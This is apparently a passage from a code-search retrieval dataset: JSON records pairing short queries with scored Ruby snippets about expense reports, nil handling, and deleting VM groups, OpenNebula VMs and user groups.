end\n end", "title": "" }, { "docid": "6e1cccbfa49fbf43559dcbc189c62fb2", "score": "0.55819356", "text": "def get_category_expenses\n categories = {}\n @transactions.each do |t|\n unless categories.has_key?(t[:ledger])\n categories[t[:ledger]] = {:transactions=>[], :totalExpenses=>0.0}\n end\n categories[t[:ledger]][:transactions].push t\n categories[t[:ledger]][:totalExpenses] += t[:amount]\n end\n categories_list = []\n categories.each do |k,v|\n categories_list.push({:category => k, :transactions => v[:transactions], :totalExpenses => safe_float(v[:totalExpenses])})\n end\n categories_list\n end", "title": "" }, { "docid": "d0b4e0bf6300b2d2932cac811738b386", "score": "0.5579373", "text": "def expenditures_ytd\n # get end of last fiscal year\n last_fy_end = fiscal_year_end_date(Date.today - 1.year)\n\n expenditures.where(\"purchase_date > ?\", last_fy_end)\n end", "title": "" }, { "docid": "bbf95ed94ee79780e754d80fb61d7ba2", "score": "0.55790037", "text": "def total_week_expenses\n sum_expenses(expenses_this_week)\n end", "title": "" }, { "docid": "9de3d8ac0a4b6240fa5ce9f602d4e9f5", "score": "0.55728143", "text": "def index\r\n time = Time.new\r\n @the_date = time.year.to_s + '-' +time.month.to_s + \"-\" + time.day.to_s\r\n @expenses = Expense.where(:resolved => false, :household_id => current_user.household_id)\r\n @expenses_done = Expense.where(:resolved => true, :household_id => current_user.household_id)\r\n @expenses.each do |e|\r\n if not e.reminder\r\n e.build_reminder\r\n end\r\n end\r\n\r\n\r\n if !params[:filter].nil?\r\n case params[:filter]\r\n when \"7\"\r\n @date = Date.today - 7\r\n when \"30\"\r\n @date = Date.today.at_beginning_of_month\r\n when \"180\"\r\n @date = Date.today.at_beginning_of_month << 6\r\n when \"365\"\r\n @date = Date.today.at_beginning_of_month << 12\r\n end\r\n\r\n if !@date.nil?\r\n @expenses = @expenses.where('created_at >= ?', @date)\r\n @expenses_done = @expenses_done.where('created_at >= ?', @date)\r\n end\r\n end\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @expenses }\r\n format.json { render json: @expenses_done }\r\n end\r\n end", "title": "" }, { "docid": "184197451dfa9b3d04869a59ec7e2687", "score": "0.55719817", "text": "def expense_details\n @start_date = params[:start_date].to_date\n @end_date = params[:end_date].to_date\n @category = FinanceTransactionCategory.shod(params[:category])\n @expenses ||= @category.finance_transactions.list(@start_date, @end_date)\n render 'expense_list'\n authorize! :read, @category\n end", "title": "" }, { "docid": "3a683d4c293bb36cffc0e8b4fac005bc", "score": "0.5565464", "text": "def index\n @miscellaneous_expenses = MiscellaneousExpense.all\n end", "title": "" }, { "docid": "7f7e5e784427fe6a448aae2f8908226f", "score": "0.5565245", "text": "def expense\n where(:account_id.in => Account.expense.map(&:id))\n end", "title": "" }, { "docid": "1fc130b0f6a0593c3b24f58f0bcdf48c", "score": "0.55593574", "text": "def report_budget(expenses, expense)\n require 'ostruct'\n budget = OpenStruct.new(weekly: 30 * 7 + 50, currency: 'EUR')\n # TODO: Cache exchange rates to all currencies.\n\n qe = QueryEngine.new(@collection)\n items_total = qe.days_items(expense.date).reject { |expense| expense.tag == '#long_term' }.sum(&:total)\n tip_and_fee_total = qe.days_expenses(expense.date).sum { |expense| expense.tip + expense.fee }\n\n day_total = items_total + tip_and_fee_total\n remaining = 7500 - day_total\n if remaining >= 0\n puts \"~ Budget remaining: <green>#{Utils.format_cents_to_money(remaining)} PLN</green> out of 75 PLN.\".colourise\n else\n puts \"~ Budget of 75 PLN presahnut by <red>#{Utils.format_cents_to_money(remaining.abs)} PLN</red>.\".colourise\n end\n end", "title": "" }, { "docid": "0eca42c634124bb7524149ac26894d6a", "score": "0.555811", "text": "def my_external\n @user = User.includes(:expenses, :groups).find(session[:user_id])\n @expenses = @user.expenses.includes(:groups, :author).stand_alone_expenses.ordered_by_most_recent\n render 'index'\n end", "title": "" }, { "docid": "e148c89ae363c43e527b163743f66374", "score": "0.5547605", "text": "def index\n @expenses = Expense.all\n @expense = Expense.select(\"period_end_date, sum(habby) as habby, sum(bank_charge) as bank, sum(equipment) as equip, sum(stationery) as stat, sum(computer) as comp, sum(telephone) as tel, sum(misc_expense) as misc\").group(\"period_end_date\").limit(4).order(\"period_end_date\")\n\n add_breadcrumb \"Expenses\", expenses_path\n end", "title": "" }, { "docid": "4dac31e9cf15b3ac114e25f9b042638d", "score": "0.5545789", "text": "def index\n @product_expirations = ProductExpiration.all\n end", "title": "" }, { "docid": "cb5fba4e1d8629d6ba8f369788b3c8bb", "score": "0.5545689", "text": "def show\n @expenditures = @quarterly_budget.expenditures.order('purchase_date desc')\n end", "title": "" } ]
a02964aba4d7bc36b33eca623b0c9949
1 / \ nil nil
[ { "docid": "7d29c774e201c27c770db9afdf685738", "score": "0.6023632", "text": "def test_tree_with_nil_branches\n tree = Tree.new(1, nil, nil)\n assert_equal 1, solution(tree)\n end", "title": "" } ]
[ { "docid": "8bdbc91e5d5efc0d596b93fc28ee9251", "score": "0.7089876", "text": "def nil!; end", "title": "" }, { "docid": "b17a5e73b18d3162a6a8b98a898d7e72", "score": "0.68403345", "text": "def null!; end", "title": "" }, { "docid": "8d558a11eadd9b270e542d8c9688eac0", "score": "0.6783694", "text": "def nil?; end", "title": "" }, { "docid": "8d558a11eadd9b270e542d8c9688eac0", "score": "0.6783694", "text": "def nil?; end", "title": "" }, { "docid": "8d558a11eadd9b270e542d8c9688eac0", "score": "0.6783694", "text": "def nil?; end", "title": "" }, { "docid": "24235d7b2f70c806712266f1674eb962", "score": "0.6598852", "text": "def nilfix (n)\n if n==\"nil\"\n return 0\n else \n return n\n end\nend", "title": "" }, { "docid": "9378789d08d1cdd78c2967c505a58fd3", "score": "0.6530027", "text": "def nil\n end", "title": "" }, { "docid": "d496994c959bf8c80de8c43e4c9c013c", "score": "0.65092367", "text": "def nil_make; nil end", "title": "" }, { "docid": "bdae7f1451845a364fcb575ce3233cb5", "score": "0.6491476", "text": "def zero?; end", "title": "" }, { "docid": "bdae7f1451845a364fcb575ce3233cb5", "score": "0.6491476", "text": "def zero?; end", "title": "" }, { "docid": "2bf4ae38e73bc0a6b38ac81af4220a92", "score": "0.6433366", "text": "def zero?(*) end", "title": "" }, { "docid": "9145b7a79a6c86780a10185d3d4fd8dc", "score": "0.64176685", "text": "def a_nil_value(*args, &block); end", "title": "" }, { "docid": "929a76b6880b3c013c088731a7bc3351", "score": "0.6356586", "text": "def null; nil end", "title": "" }, { "docid": "a1596885bcafd47fd473bf6e5be11620", "score": "0.63355815", "text": "def null?; end", "title": "" }, { "docid": "a1596885bcafd47fd473bf6e5be11620", "score": "0.63355815", "text": "def null?; end", "title": "" }, { "docid": "91477e72c50aa4f9cec0914a4d14c2ec", "score": "0.62491775", "text": "def null?; @null end", "title": "" }, { "docid": "91477e72c50aa4f9cec0914a4d14c2ec", "score": "0.62491775", "text": "def null?; @null end", "title": "" }, { "docid": "09609d590f5a3aef88f463596292e845", "score": "0.62409896", "text": "def nil?\n end", "title": "" }, { "docid": "09609d590f5a3aef88f463596292e845", "score": "0.62409896", "text": "def nil?\n end", "title": "" }, { "docid": "a864a2599ab0502ec6b695321d105333", "score": "0.6234547", "text": "def be_nil; end", "title": "" }, { "docid": "d9f7772aca16e80935437a8fc0575185", "score": "0.6225897", "text": "def literal_nil\n NULL\n end", "title": "" }, { "docid": "f77f1343ba35535aa635c10d6a79dd12", "score": "0.62019235", "text": "def null; end", "title": "" }, { "docid": "f77f1343ba35535aa635c10d6a79dd12", "score": "0.62019235", "text": "def null; end", "title": "" }, { "docid": "f77f1343ba35535aa635c10d6a79dd12", "score": "0.62019235", "text": "def null; end", "title": "" }, { "docid": "f77f1343ba35535aa635c10d6a79dd12", "score": "0.62019235", "text": "def null; end", "title": "" }, { "docid": "cc1ee10218aa9b9199d1d8d4034a9b17", "score": "0.6198178", "text": "def nonzero?\n `return self == 0 ? nil : self;`\n end", "title": "" }, { "docid": "a6bd6cd59b2d068be399398f9d38cad4", "score": "0.6192476", "text": "def one?; end", "title": "" }, { "docid": "3356eaaa93fd9cabbba062b1fd632b01", "score": "0.619044", "text": "def nil?\n return true\n end", "title": "" }, { "docid": "7dca958e9bf1bd557aa544d6f7a3f513", "score": "0.61802936", "text": "def nil?\n true\n end", "title": "" }, { "docid": "7dca958e9bf1bd557aa544d6f7a3f513", "score": "0.61802936", "text": "def nil?\n true\n end", "title": "" }, { "docid": "6b61ee547240932593202c1253c07396", "score": "0.61427057", "text": "def null(allow_null = T.unsafe(nil)); end", "title": "" }, { "docid": "870a9f319f5819db5a83b469c9260641", "score": "0.61318964", "text": "def branch_taken\n a = nil\n a&.+(1)\n end", "title": "" }, { "docid": "b18d19b70878d5f6f64cee6be409e6fb", "score": "0.612299", "text": "def nothing(error = T.unsafe(nil)); end", "title": "" }, { "docid": "6cafd491047c62a2d295e3d91c94f390", "score": "0.6070872", "text": "def integer_or_nil(); INTEGER_OR_NIL; end", "title": "" }, { "docid": "8ecdb6dc14db10383324d540e5c869a0", "score": "0.6059864", "text": "def null?; false; end", "title": "" }, { "docid": "285dca64887ee9ea4889776fb285ad4d", "score": "0.60553336", "text": "def none\n 0\n end", "title": "" }, { "docid": "c5a76e10121ef0c17d2245dc7a253c08", "score": "0.6049848", "text": "def one_or_nil\n one_or_yield{ nil }\n end", "title": "" }, { "docid": "2e5adb4f62540d3341596c3f5dfc9582", "score": "0.6044398", "text": "def []\r\n 1\r\nend", "title": "" }, { "docid": "4156e82e66a4feb61613d0164c1ed7e4", "score": "0.6037997", "text": "def refute_nil(obj, msg = T.unsafe(nil)); end", "title": "" }, { "docid": "425992b986dbf57924f12aad1e81ef0b", "score": "0.6025528", "text": "def null?; false end", "title": "" }, { "docid": "0725fc04560e16a5fd58b41ac1838cc0", "score": "0.6015792", "text": "def nil?\n false\n end", "title": "" }, { "docid": "de7bfdb0c64d912b4cfe3dbdbb38e414", "score": "0.60145843", "text": "def test_if_divided_by_zero_equals_nil\n\t\tassert_equal(nil, division(40, 0))\n\tend", "title": "" }, { "docid": "0c6a2da379018a2a9bcb82ab8a6d6012", "score": "0.60122085", "text": "def one?(*) end", "title": "" }, { "docid": "8337faa055e231bdce69c4965c5584a1", "score": "0.6011199", "text": "def nil_check ( block )\n\t if block == nil\n\t return 0 \n\t else \n\t return block\n\t end\n end", "title": "" }, { "docid": "083fcb76ccdfa36999cb977aeb02bb5b", "score": "0.60100883", "text": "def null\n\tNULL\nend", "title": "" }, { "docid": "daa0bec55d3da6c7de0a667b96307e58", "score": "0.6008911", "text": "def b?() @a != nil; end", "title": "" }, { "docid": "18aad5417a461a0e5b1183a0a1314a87", "score": "0.59889615", "text": "def nullptr\n i64(0)\n end", "title": "" }, { "docid": "add50ab81ac64110b0f9703cb8f3a295", "score": "0.59839565", "text": "def true(_argvs); return nil; end", "title": "" }, { "docid": "add50ab81ac64110b0f9703cb8f3a295", "score": "0.59839565", "text": "def true(_argvs); return nil; end", "title": "" }, { "docid": "776ea877d533b49c369179ab7391f8ef", "score": "0.5953059", "text": "def nonzero?\n self\n end", "title": "" }, { "docid": "c4df2ff5fee9641c3d7982733e22d374", "score": "0.594188", "text": "def write_nil\n end", "title": "" }, { "docid": "75a96bc863af94d7c57e5ee9ad5f86c7", "score": "0.5920148", "text": "def _rtrue # rtrue\r\n routine_return 1\r\n end", "title": "" }, { "docid": "f15c63f732fe2d22276cfd262dd814cf", "score": "0.59167254", "text": "def node_nullable=(_arg0); end", "title": "" }, { "docid": "32ca7a566a716d5faf44e60818a46e74", "score": "0.5903661", "text": "def test_divide_zero\n assert_nil @rpn.divide(1, 0)\n end", "title": "" }, { "docid": "5ac7218e14597a40e96f19068209587a", "score": "0.5898831", "text": "def noop; end", "title": "" }, { "docid": "5ac7218e14597a40e96f19068209587a", "score": "0.5898831", "text": "def noop; end", "title": "" }, { "docid": "7e9b0082c6b07fade5cf4b99b8eb0205", "score": "0.58919334", "text": "def halve; (self & 1) == 0 ? self/2 : nil; end", "title": "" }, { "docid": "0d2d530257222f4bd3f87a413d869c99", "score": "0.5891372", "text": "def null; \"null\".l; end", "title": "" }, { "docid": "0ccccc91fbb7fad96764ca9c774f873e", "score": "0.58887225", "text": "def present_else_nil; present_else(nil); end", "title": "" }, { "docid": "46998c79c90db93d2ee9767bee729bd5", "score": "0.58866906", "text": "def test_3\n 1/0\n return true\n end", "title": "" }, { "docid": "46998c79c90db93d2ee9767bee729bd5", "score": "0.58866906", "text": "def test_3\n 1/0\n return true\n end", "title": "" }, { "docid": "dd753fcda47ca2963b720eca3a56bd69", "score": "0.5883828", "text": "def nil?\r\n false\r\n end", "title": "" }, { "docid": "ad8b8cd20e87176d5bb27964fbb6c461", "score": "0.5877062", "text": "def zero?()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "5158497081827da3e41c21bac898ff1b", "score": "0.5875301", "text": "def test_count_nil\n assert_equal 3, @triple_nil.count\n end", "title": "" }, { "docid": "562993281cbc28b81f166846170beb9d", "score": "0.5854112", "text": "def return0_instruct\n return_uncond_jump_instruct(nil)\n end", "title": "" }, { "docid": "56d28d525f928d62d5e6ed0ad32145dc", "score": "0.585232", "text": "def none?; end", "title": "" }, { "docid": "56d28d525f928d62d5e6ed0ad32145dc", "score": "0.585232", "text": "def none?; end", "title": "" }, { "docid": "32329c9598389a10fc228e065e731a60", "score": "0.5843707", "text": "def nil?\n true\n end", "title": "" }, { "docid": "32329c9598389a10fc228e065e731a60", "score": "0.5843707", "text": "def nil?\n true\n end", "title": "" }, { "docid": "32329c9598389a10fc228e065e731a60", "score": "0.5843707", "text": "def nil?\n true\n end", "title": "" }, { "docid": "062d7a5425df146781085685c754983d", "score": "0.58399576", "text": "def null_object?; end", "title": "" }, { "docid": "1e67d2658a94bed57bb92b961cab9c53", "score": "0.58258504", "text": "def zero_or_one(rule, &block)\n rep(rule, 0, 1, &block)\n end", "title": "" }, { "docid": "e663497d84cab6c643dda883883e5003", "score": "0.58190393", "text": "def nothing?; end", "title": "" }, { "docid": "e663497d84cab6c643dda883883e5003", "score": "0.58190393", "text": "def nothing?; end", "title": "" }, { "docid": "36aff1d2460a48470942664ba8cf3e09", "score": "0.5812622", "text": "def zero?\n end", "title": "" }, { "docid": "36aff1d2460a48470942664ba8cf3e09", "score": "0.5812622", "text": "def zero?\n end", "title": "" }, { "docid": "d0cbb309df6f5db9d3a345c296eed331", "score": "0.5804073", "text": "def none; end", "title": "" }, { "docid": "68ceb4db412b344ca8372ac2cd9de525", "score": "0.5798192", "text": "def if_nil\n self\n end", "title": "" }, { "docid": "6f25c26387db70695924c5f5e9089aa9", "score": "0.57943314", "text": "def process_nil(_exp)\n @argument.default = :nil\n s()\n end", "title": "" }, { "docid": "d8d2f53ea27e767b8050b44b5b4cf050", "score": "0.5775066", "text": "def infinite?; end", "title": "" }, { "docid": "801323d593c4ee01abc15012f4868897", "score": "0.5759201", "text": "def g; 1; end", "title": "" }, { "docid": "1ec51fb7057e829f2ac0b8ebc536a352", "score": "0.575214", "text": "def forced_nil_inverse?; false; end", "title": "" }, { "docid": "8f54e37f0dba1253996c6fda99e8a827", "score": "0.57480484", "text": "def test_refute_nil\n object = nil\n refute_nil object\n end", "title": "" }, { "docid": "b0c953a51b8b9ff29b1818d1a1f2a386", "score": "0.57464296", "text": "def null!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 36 )\n\n type = NULL\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 1049:5: 'null'\n match( \"null\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 36 )\n\n end", "title": "" }, { "docid": "9c109e511c8b0fe40ae0d942f86e941f", "score": "0.57353437", "text": "def nil?\n return true\n end", "title": "" }, { "docid": "a8fd910ed93bc90f94f6a74a6d40c8d1", "score": "0.5729822", "text": "def semact?; true; end", "title": "" }, { "docid": "6bf5d0c8b284b03c5ff344151e56b6a2", "score": "0.5722281", "text": "def it_returns_false_if_one_head_nil\n\thead_one = Node.new(1, nil)\n\tassert(Node.compare(head_one, nil), false)\nend", "title": "" }, { "docid": "b4323767ad36d2af124b9fe21af8d367", "score": "0.57203877", "text": "def always(*n)\n lambda { n.nil? ? nil : n.first }\nend", "title": "" }, { "docid": "86dc0f342e5b1b1327981ca4ed2d4759", "score": "0.5719696", "text": "def n(*) end", "title": "" }, { "docid": "8074b6cfc2896009c75d92b3ace1bab2", "score": "0.571909", "text": "def test_first_nil\n assert_nil @triple_nil.first\n end", "title": "" }, { "docid": "c5cafa2a189e560eea24f3271c7fe2cf", "score": "0.5708773", "text": "def zero_or_one(rule, &block)\n rep(rule, 0, 1, &block)\n end", "title": "" }, { "docid": "6c88065eba2276b3bdc4bff96718bb2c", "score": "0.5705435", "text": "def undefined?; end", "title": "" }, { "docid": "6c88065eba2276b3bdc4bff96718bb2c", "score": "0.5705435", "text": "def undefined?; end", "title": "" }, { "docid": "6c88065eba2276b3bdc4bff96718bb2c", "score": "0.5705435", "text": "def undefined?; end", "title": "" }, { "docid": "6c88065eba2276b3bdc4bff96718bb2c", "score": "0.5705435", "text": "def undefined?; end", "title": "" }, { "docid": "efbb764150189cf5773c6af42cc6480c", "score": "0.57014996", "text": "def zero_or_one(i=0)\n if i == 0 || i == false || i == nil\n 0\n else\n 1\n end\n end", "title": "" }, { "docid": "1263166b1efd1f3bf13d82100c5cbef5", "score": "0.56997085", "text": "def null!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 6 )\n\n\n\n type = NULL\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 41:7: 'null'\n match( \"null\" )\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 6 )\n\n\n end", "title": "" }, { "docid": "e62ebcb9a74b25af7e5ae067d7732801", "score": "0.5696493", "text": "def infinite?; true; end", "title": "" }, { "docid": "b0f799011af03014fa04af746c19b386", "score": "0.56948173", "text": "def test_cycle_nil\n arr = Array.new\n assert_nil @triple_nil.cycle(2) { |e| arr << e if e != nil }\n assert_equal [], arr\n end", "title": "" }, { "docid": "a3f788b00ddf31e1f6ac716f66d451b4", "score": "0.5684845", "text": "def visit_nil_class(_nil)\n NULL\n end", "title": "" } ]
19d16da6ad07f861ec6072bd37bb0ca5
Delete VM Groups if they are empty
[ { "docid": "df5b888b45ac8a3347ef77ad5d4577d6", "score": "0.792759", "text": "def delete_vm_groups(vm_group_names)\n return if vm_group_names.empty?\n DrsLock.new(DRS_LOCK_VMGROUP ).with_drs_lock do\n empty_vm_groups = @cluster.configuration_ex.group.select do |group|\n group.is_a?(VimSdk::Vim::Cluster::VmGroup) && vm_group_names.include?(group.name) && group.vm.empty?\n end\n return if empty_vm_groups.empty?\n logger.debug(\"Deleting empty VmGroups: #{empty_vm_groups.map(&:name)}\")\n group_specs = empty_vm_groups.map do |vm_group|\n vm_group_spec = VimSdk::Vim::Cluster::VmGroup.new\n vm_group_spec.name = vm_group.name\n\n group_spec = VimSdk::Vim::Cluster::GroupSpec.new\n group_spec.info = vm_group_spec\n group_spec.operation = VimSdk::Vim::Option::ArrayUpdateSpec::Operation::REMOVE\n group_spec.remove_key = vm_group.name\n group_spec\n end\n\n # If these vm_groups are getting deleted. Also delete all the\n # vm-host group rules associated with it.\n #\n # @TODO : CAVEAT: if anyone creates a rule outside of CPI using these\n # vm_groups, it will be deleted too. To narrow\n # the scope of this caveat, CPI will only delete the\n # vm-host-group-affinity rule type. This is because, currently it only\n # creates vm-host-affinity rule using vm groups.\n rules_spec = get_delete_rule_spec(empty_vm_groups) unless empty_vm_groups.nil?\n config_spec = VimSdk::Vim::Cluster::ConfigSpecEx.new\n config_spec.group_spec = group_specs\n unless rules_spec&.empty?\n logger.debug(\"Deleting #{rules_spec.count} vm host affinity rules\")\n config_spec.rules_spec = rules_spec\n end\n @client.wait_for_task do\n @cluster.reconfigure_ex(config_spec, true)\n end\n end\n end", "title": "" } ]
[ { "docid": "31660405f858f823278c9fb20cda7c87", "score": "0.74920756", "text": "def remove_empty_group\n group = self.group\n if group.users.size == 1\n # group.destroy\n end\n end", "title": "" }, { "docid": "3a95fc56121fa07ffc734b44c39b00d1", "score": "0.69504595", "text": "def delete_all_groups\n super\n end", "title": "" }, { "docid": "acbd200a6c0a5bcbb877f0864301723f", "score": "0.6857085", "text": "def delete_vms(groupid, client)\n vmp = OpenNebula::VirtualMachinePool.new(client)\n vmp.info\n vmp.each{|vm|\n if vm['GID'].to_i == groupid\n OpenNebula::VirtualMachine.new_with_id(vm['ID'], client).delete\n end\n }\n end", "title": "" }, { "docid": "3b3e5c4ffc52e5d48b654d1785faafe3", "score": "0.6780278", "text": "def delete_group\n begin\n if self.posts.count == 0 && self.user_groups.count == 1\n return self.destroy\n end\n\n self.deleted = true\n self.save!\n rescue => e\n puts \"error:delete_group:#{e}\"\n return false\n end\n\n true\n end", "title": "" }, { "docid": "906b6440d34428887c5d7bb1b846bfa1", "score": "0.6678533", "text": "def delete_remaining_task_group\n task_group.destroy! if task_group.present? && task_group.tasks.count.zero?\n end", "title": "" }, { "docid": "8ae2914d77adcc3a901b5870762a7a14", "score": "0.6648849", "text": "def destroy\n if @group.admin?( current_user) && (@group.members.length == 1)\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n else\n respond_to do |format|\n format.html { redirect_to @group, notice: \"Action not permitted. Groups must be empty to be deleted and can only be deleted by admins\" }\n format.json { head :no_content }\n end\n end \n end", "title": "" }, { "docid": "631195a6340ed936bb53b1fc2f10526b", "score": "0.6644865", "text": "def clear_groups\n @groups = {}\n end", "title": "" }, { "docid": "f8e5edc7977512820983861edb499dad", "score": "0.66294277", "text": "def machine_groups_delete(id)\n url = \"#{@sal_url}/api/v2/machine_groups/#{id}/\"\n json_resp_body(url)\n end", "title": "" }, { "docid": "ec1d9b0bd8f45c217e29489bf8cd4a62", "score": "0.6557406", "text": "def delete\n on ManageRegistrationGroups do |page|\n page.remove_cluster(@private_name)\n page.confirm_delete_cluster\n begin\n page.cluster_list_item_div(@private_name).wait_while_present(60)\n rescue Watir::Exception::UnknownObjectException\n #ignore\n end\n end\n @assigned_ao_list = []\n end", "title": "" }, { "docid": "a85573442f25398f7d9f2f9c4fbd5b43", "score": "0.6555307", "text": "def destroy\n current_user.groups.delete(@group)\n current_user.save\n if @group.users.count == 0\n @group.destroy\n end\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2ef9368cf30a470c9a86ca2ae0c5780d", "score": "0.6545662", "text": "def remove_all_groups\n self.groups.each do |m| \n remove_group(m)\n end\n end", "title": "" }, { "docid": "2ef9368cf30a470c9a86ca2ae0c5780d", "score": "0.6545662", "text": "def remove_all_groups\n self.groups.each do |m| \n remove_group(m)\n end\n end", "title": "" }, { "docid": "bbb0c8d4569c20cc18513f50f308557b", "score": "0.6464392", "text": "def destroy\n @groups_prossumer.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "0ac088b3dc2878cd85c82433caa8b89a", "score": "0.6459", "text": "def destroy\n @group.destroy\n end", "title": "" }, { "docid": "0ac088b3dc2878cd85c82433caa8b89a", "score": "0.6459", "text": "def destroy\n @group.destroy\n end", "title": "" }, { "docid": "0ac088b3dc2878cd85c82433caa8b89a", "score": "0.6459", "text": "def destroy\n @group.destroy\n end", "title": "" }, { "docid": "0ac088b3dc2878cd85c82433caa8b89a", "score": "0.6459", "text": "def destroy\n @group.destroy\n end", "title": "" }, { "docid": "9bc5aa29a627d0aabf184a49ecbe97d3", "score": "0.643709", "text": "def delete_agent_by_group(ids)\n delete '/agents/groups', {ids: ids}\n end", "title": "" }, { "docid": "23f6289c47c7eb01aa0e426a077d46d7", "score": "0.6422064", "text": "def destroy\n debug('Removing group')\n self.class.run_command_in_cib([command(:pcs), 'resource', 'ungroup', @property_hash[:name]], @resource[:cib])\n @property_hash.clear\n end", "title": "" }, { "docid": "35e81bc766fc549b13938164c6f0abdb", "score": "0.641694", "text": "def destroy\n @group_member.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "26f21789ed3ad393da079b85ed35da55", "score": "0.64003754", "text": "def destroy\n @group.destroy\n end", "title": "" }, { "docid": "e9b1219e30a4bc8637732893569b2c4a", "score": "0.6378527", "text": "def remove_member_from_all_groups(id)\n delete(\"/members/#{id}/groups\")\n end", "title": "" }, { "docid": "d454ed555213dd5266ea93d947ae84b2", "score": "0.63756496", "text": "def delete!\n response = @connection.csreq(\"DELETE\",@connection.svrmgmthost,\"#{@connection.svrmgmtpath}/shared_ip_groups/#{URI.escape(self.id.to_s)}\",@connection.svrmgmtport,@connection.svrmgmtscheme)\n CloudServers::Exception.raise_exception(response) unless response.code.match(/^20.$/)\n true\n end", "title": "" }, { "docid": "abdc3892a254f2320272e68be0408c7e", "score": "0.63741076", "text": "def destroy()\n\n # Group Folder\n folder = Group.get_group_folder(self.id)\n\n unless folder.nil?\n\n if folder.count_items(true) <= 0\n\n folder.force_destroy\n\n else\n\n folder.slice_auth_group(self)\n folder.owner_id = 0\n folder.xtype = nil\n folder.save\n end\n end\n\n # General Folders\n con = SqlHelper.get_sql_like([:read_groups, :write_groups], \"|#{self.id}|\")\n folders = Folder.where(con).to_a\n\n unless folders.nil?\n folders.each do |folder|\n folder.slice_auth_group(self)\n folder.save\n end\n end\n\n # Users\n users = Group.get_users(self.id)\n\n unless users.nil?\n users.each do |user|\n user.exclude_from(self.id)\n user.save\n end\n end\n\n # Subgroups\n self.get_childs(false, true).each do |group|\n group.destroy\n end\n\n # Schedules\n Schedule.trim_on_destroy_member(:group, self.id)\n\n # Locations and OfficeMaps\n Location.destroy_all(\"(group_id=#{self.id})\")\n OfficeMap.destroy_all(\"(group_id=#{self.id})\")\n\n # Settings\n Setting.destroy_all(\"(group_id=#{self.id})\")\n\n super()\n end", "title": "" }, { "docid": "0711945e2a25e6fe86b95eac5913490b", "score": "0.627911", "text": "def delete_from_group\n if mentor.mentor_terms.for_term(term).empty?\n term.group_resource.delete_member(mentor.uw_net_id)\n end\n end", "title": "" }, { "docid": "adc1ecdbea0979a5df72e52b1b028e7a", "score": "0.6274406", "text": "def destroy\r\n @group.destroy\r\n\r\n head :no_content\r\n end", "title": "" }, { "docid": "129f8118335894440462952ab67c9e1e", "score": "0.62737966", "text": "def destroy\n @group.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "129f8118335894440462952ab67c9e1e", "score": "0.62737966", "text": "def destroy\n @group.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "d823832c7960e1b5c3c89a3aee8a74a8", "score": "0.627075", "text": "def destroy\n @os_groups_group.destroy\n respond_to do |format|\n format.html { redirect_to os_groups_groups_url, notice: 'Os groups group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4237be32c5d3e49c20959e8b8b1ec42b", "score": "0.62687343", "text": "def destroy\n current_group.destroy\n\n redirect_to home_path\n end", "title": "" }, { "docid": "69bfb757819d2e4239273ab72c4c0cfd", "score": "0.6262829", "text": "def destroy\n @user_group.destroy\n end", "title": "" }, { "docid": "d8035a99a4c658794a8315338360e06f", "score": "0.6246264", "text": "def destroy\n @group.destroy\n\n Subgroup.where(group_id: @group.id).destroy_all\n\n respond_to do |format|\n format.html { redirect_to groups_path, notice: 'Grupa vai apakšgrupa veiksmīgi dzēsta' }\n end\n end", "title": "" }, { "docid": "48cb6ebb775bfaccdd4a7a4831466cb2", "score": "0.62439764", "text": "def delete_vns(groupid, client)\n vnp = OpenNebula::VirtualNetworkPool.new(client)\n vnp.info\n vnp.each{|vn|\n if vn['GID'].to_i == groupid\n OpenNebula::VirtualNetwork.new_with_id(vn['ID'], client).delete\n end\n }\n end", "title": "" }, { "docid": "6f4dba6a9ba07535f503d474e1ffd619", "score": "0.6214841", "text": "def delete\n for groupsuser in GroupsUser.where([\"group_id =?\", self.id])\n groupsuser.delete\n end\n node = GroupNode.find_by_node_object_id(self.id)\n node.destroy if node\n self.destroy\n end", "title": "" }, { "docid": "f78509e4fea57f546c1af723d214feb4", "score": "0.62141097", "text": "def destroy\n if current_user.has_role? :group_manager, @group\n if User.find(@group.user_groups.where(state: \"active\").pluck(:user_id)).count == 1 && \\\n UserGroup.where(group_id: @group.id, state: \"active\").pluck(:user_id).include?(current_user.id)\n #include를 이용해서 array에 value가 포함되어 있는지 비교 가능\n\n posts = Post.find(@group.post_recipient_groups.pluck(:post_id))\n # 그룹 삭제하면서 해당 posts 모두 삭제\n # postable은 post 삭제하면서 자동으로 삭제됨\n unless posts.blank?\n posts.each do |post|\n post.postable.destroy\n post.destroy\n end\n end\n\n @group.destroy\n redirect_to groups_url, notice: \"Group was successfully destroyed.\"\n else\n redirect_to groups_url, notice: \"group_manager 제외하고 group_member가 존재하면 삭제 불가\"\n end\n else\n redirect_to groups_url, notice: \"group_manager 아님\"\n end\n end", "title": "" }, { "docid": "d10b5894d7a70d314635de280b50659c", "score": "0.61995107", "text": "def destroy\n @group.destroy\n head :no_content\n end", "title": "" }, { "docid": "e2767ffae35b8cb3cad930018c4aad3c", "score": "0.61923075", "text": "def remove_original_group(default_gm_ids, client)\n default_gm_ids.each do |gm_id|\n client.group_memberships.destroy!(id:gm_id)\n puts \"\\n\"\n puts \"-\" * 40\n puts \"Removed (DO NOT SELECT)Default Group!\"\n puts \"-\" * 40\n puts \"\\n\"\n end\nend", "title": "" }, { "docid": "0b07e314a62c7267b7274e27a7c6e9b9", "score": "0.6189425", "text": "def delete\n client.delete_group(:group_name => name)\n nil\n end", "title": "" }, { 